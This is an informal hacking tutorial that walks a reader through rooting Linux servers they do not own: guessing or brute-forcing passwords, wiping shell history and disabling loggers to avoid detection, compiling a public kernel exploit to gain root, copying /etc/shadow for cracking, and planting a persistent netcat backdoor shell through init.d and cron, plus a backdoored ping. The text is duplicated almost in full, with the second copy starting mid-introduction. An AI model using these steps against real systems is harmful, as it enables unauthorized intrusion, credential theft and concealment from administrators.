So you want to root a linux system? But, you don't know shit about it?
Well, this guide is for you.
Tools covered by this guide
-----------------------
netcat [utility for creating a backdoor shell, but can be used for a plethora of other things]
gcc [c program compiler, the heart of exploits]
rm [for clearing those pesky logs]
other basic commands [ls, grep, vi (cool people use vi), etc etc.]
Step one [Getting in]
----------------------
Getting access to an exploitable server.
Believe it or not, this isn't as hard as it sounds, generally most webpages run on one of two operating systems:
a *nix derivative [BSD, Debian, Ubuntu, etc] or windows server
Most servers are simple "guess a password or bruteforce until you get in".
Step two [Basic Recon and Log Clearing]
-------------------------
So, you've accessed a server under a lowly user account, great.
You're probably saying to yourself "Time to exploit and get this shit going."
Well, if you want to get caught and your access removed, go right on ahead, otherwise, we got some shit to cover.
a) You want to get rid of .bash_history [or .sh_history for BSD], on your local account.
There are two methods to do this:
ln -s ./.bash_history /dev/null
This invokes the link command to link ./.bash_history [you're current working directory, which if you followed my commands, is your exploited users home dir] to /dev/null, which in essence, is nothing.
and, my favourite:
ln -s ./.bash_history /dev/urandom
which links .bash_history to /dev/urandom, which is a large file that contains nothing but gibberish.
If an unwitting sysadmin were to grep it, they could potentially crash their ssh app [if it's putty], or in my personal experiences, cause weird graphical glitches that would remain until you restarted the ssh client.
you want to check for any monitoring software and either break it or do commands that would make it not monitor your exploits.
pretty self-explanitory, anything that logs your login-address or your commands needs to be eradicated, sometimes it's as simple as sshing again into localhost to confuse the program into thinking you are a local user, or useing a known exploit against the program. Be creative, I say.
If you can't take care of the problem now, it's best to wait until you get root to achieve them.
Recon
---------
Now, the fun [yeah right] part.
It's time to dig through files looking for exploitable code.
generally this is as easy as typing "uname -a" which shows you the current kernel version of your system.
but, sometimes its pouring over every file on the server looking for a known exploit
And sometimes it even coding your own
[Which I won't get into now]
Exploitiing
--------
So, you've found exploitable software, that has a public exploit.
Let's exploit it!
Example exploit scenario:
The server is running Kernel version 2.6.8.1-12
[unamed@secret_server unamed]$ uname -a
Linux unamed.server.net 2.6.8.1-12mdkenterprise #1 SMP Fri Jan 3 66:66:66 CEST 2666 i686 Intel® Xeon™ CPU 2.80GHz unknown GNU/Linux
A simple search at milw0rm reveals that this version is severely exploitable.
we proceed to use http://milw0rm.com/exploits/9479 to attempt to exploit it.
we place the code into a file using vi
[unamed@secret_server unamed]$ vi ex.c
and attempt to compile it
[unamed@secret_server unamed]$ gcc ex.c -o ex
[unamed@secret_server unamed]$
wonderful, it gives us a blank line, meaning no errors.
Alright now for the big moment, attempting to run it!
[unamed@secret_server unamed]$ ./ex
[root@secret_server unamed]$
woo, we have root!
end basic scenario
most of the times, it really is that easy, so many programs are on a single system, that it is very difficult for the average person to keep everything patched and updated.
Keeping root
--------------
So, you're in, you're root, you're god.
But, that can go away any second.
we want to set up several ways to keep root
a) copy /etc/shadow to a place where you can attempt to crack it.
This is most likely done on your own system, keep the users in-case the one you are using isn't able to access
set up netcat on a port, and add it to autostart if it's killed
this is easy
we first type "nc -L -p <port> -e /bin/sh &" as root
this tells netcat to listen on <port> and execute /bin/sh on a connection, the & tells it to run in the background.
but, what if the sysadmin finds that and kills it?
simple we add that command to /etc/init.d which would run the command if it's killed.
if you want to get more creative, add it to a cron job and add "echo nc -L -p 12345 -e /bin/sh & >> /etc/init.d" to a cron job as well.
c) (optional) backdooring a program.
my personal favourite is using a code patch to ping, which is accessible by everyone, to have a secret trigger that, when used, would give me root. This is just in case the admin patches your exploit(s), leaving you rootless.
again, ln root's .bash_history to /dev/null or /dev/urandom, kill any logger programs, and enjoy your new system.
FAQ
---------
1)Q: HOW DOES I LINUX, I R WINDURS!
A: http://lmgtfy.com/?q=Linux+Tutorial
2)Q: Only skiddies use pre-defined code, you are a n00b!
A: Not a question but, would you build your own TV, House, Car, etc, from scratch? No? Then why reinvent the wheel? The exploits are there for me to use, not for me to nod in appreciation and build my own.
3)Q: Why doesn't my system do <insert command>?
A: sysadmin probably blocked it, find another way or another system.
4)Q: Can you hack <x>?
A: No.
------------
Finale:
Don't be afraid to explore, try different ways of evading the sysadmin. The worst that can happen is they'll lock you out, if you are using a proxy [which you honestly should].
Well, this guide is for you.
Tools covered by this guide
-----------------------
netcat [utility for creating a backdoor shell, but can be used for a plethora of other things]
gcc [c program compiler, the heart of exploits]
rm [for clearing those pesky logs]
other basic commands [ls, grep, vi (cool people use vi), etc etc.]
Step one [Getting in]
----------------------
Getting access to an exploitable server.
Believe it or not, this isn't as hard as it sounds, generally most webpages run on one of two operating systems:
a *nix derivative [BSD, Debian, Ubuntu, etc] or windows server
Most servers are simple "guess a password or bruteforce until you get in".
Step two [Basic Recon and Log Clearing]
-------------------------
So, you've accessed a server under a lowly user account, great.
You're probably saying to yourself "Time to exploit and get this shit going."
Well, if you want to get caught and your access removed, go right on ahead, otherwise, we got some shit to cover.
a) You want to get rid of .bash_history [or .sh_history for BSD], on your local account.
There are two methods to do this:
ln -s ./.bash_history /dev/null
This invokes the link command to link ./.bash_history [you're current working directory, which if you followed my commands, is your exploited users home dir] to /dev/null, which in essence, is nothing.
and, my favourite:
ln -s ./.bash_history /dev/urandom
which links .bash_history to /dev/urandom, which is a large file that contains nothing but gibberish.
If an unwitting sysadmin were to grep it, they could potentially crash their ssh app [if it's putty], or in my personal experiences, cause weird graphical glitches that would remain until you restarted the ssh client.
you want to check for any monitoring software and either break it or do commands that would make it not monitor your exploits.
pretty self-explanitory, anything that logs your login-address or your commands needs to be eradicated, sometimes it's as simple as sshing again into localhost to confuse the program into thinking you are a local user, or useing a known exploit against the program. Be creative, I say.
If you can't take care of the problem now, it's best to wait until you get root to achieve them.
Recon
---------
Now, the fun [yeah right] part.
It's time to dig through files looking for exploitable code.
generally this is as easy as typing "uname -a" which shows you the current kernel version of your system.
but, sometimes its pouring over every file on the server looking for a known exploit
And sometimes it even coding your own
[Which I won't get into now]
Exploitiing
--------
So, you've found exploitable software, that has a public exploit.
Let's exploit it!
Example exploit scenario:
The server is running Kernel version 2.6.8.1-12
[unamed@secret_server unamed]$ uname -a
Linux unamed.server.net 2.6.8.1-12mdkenterprise #1 SMP Fri Jan 3 66:66:66 CEST 2666 i686 Intel® Xeon™ CPU 2.80GHz unknown GNU/Linux
A simple search at milw0rm reveals that this version is severely exploitable.
we proceed to use http://milw0rm.com/exploits/9479 to attempt to exploit it.
we place the code into a file using vi
[unamed@secret_server unamed]$ vi ex.c
and attempt to compile it
[unamed@secret_server unamed]$ gcc ex.c -o ex
[unamed@secret_server unamed]$
wonderful, it gives us a blank line, meaning no errors.
Alright now for the big moment, attempting to run it!
[unamed@secret_server unamed]$ ./ex
[root@secret_server unamed]$
woo, we have root!
end basic scenario
most of the times, it really is that easy, so many programs are on a single system, that it is very difficult for the average person to keep everything patched and updated.
Keeping root
--------------
So, you're in, you're root, you're god.
But, that can go away any second.
we want to set up several ways to keep root
a) copy /etc/shadow to a place where you can attempt to crack it.
This is most likely done on your own system, keep the users in-case the one you are using isn't able to access
set up netcat on a port, and add it to autostart if it's killed
this is easy
we first type "nc -L -p <port> -e /bin/sh &" as root
this tells netcat to listen on <port> and execute /bin/sh on a connection, the & tells it to run in the background.
but, what if the sysadmin finds that and kills it?
simple we add that command to /etc/init.d which would run the command if it's killed.
if you want to get more creative, add it to a cron job and add "echo nc -L -p 12345 -e /bin/sh & >> /etc/init.d" to a cron job as well.
c) (optional) backdooring a program.
my personal favourite is using a code patch to ping, which is accessible by everyone, to have a secret trigger that, when used, would give me root. This is just in case the admin patches your exploit(s), leaving you rootless.
again, ln root's .bash_history to /dev/null or /dev/urandom, kill any logger programs, and enjoy your new system.
FAQ
---------
1)Q: HOW DOES I LINUX, I R WINDURS!
A: http://lmgtfy.com/?q=Linux+Tutorial
2)Q: Only skiddies use pre-defined code, you are a n00b!
A: Not a question but, would you build your own TV, House, Car, etc, from scratch? No? Then why reinvent the wheel? The exploits are there for me to use, not for me to nod in appreciation and build my own.
3)Q: Why doesn't my system do <insert command>?
A: sysadmin probably blocked it, find another way or another system.
4)Q: Can you hack <x>?
A: No.
------------
Finale:
Don't be afraid to explore, try different ways of evading the sysadmin. The worst that can happen is they'll lock you out, if you are using a proxy [which you honestly should].
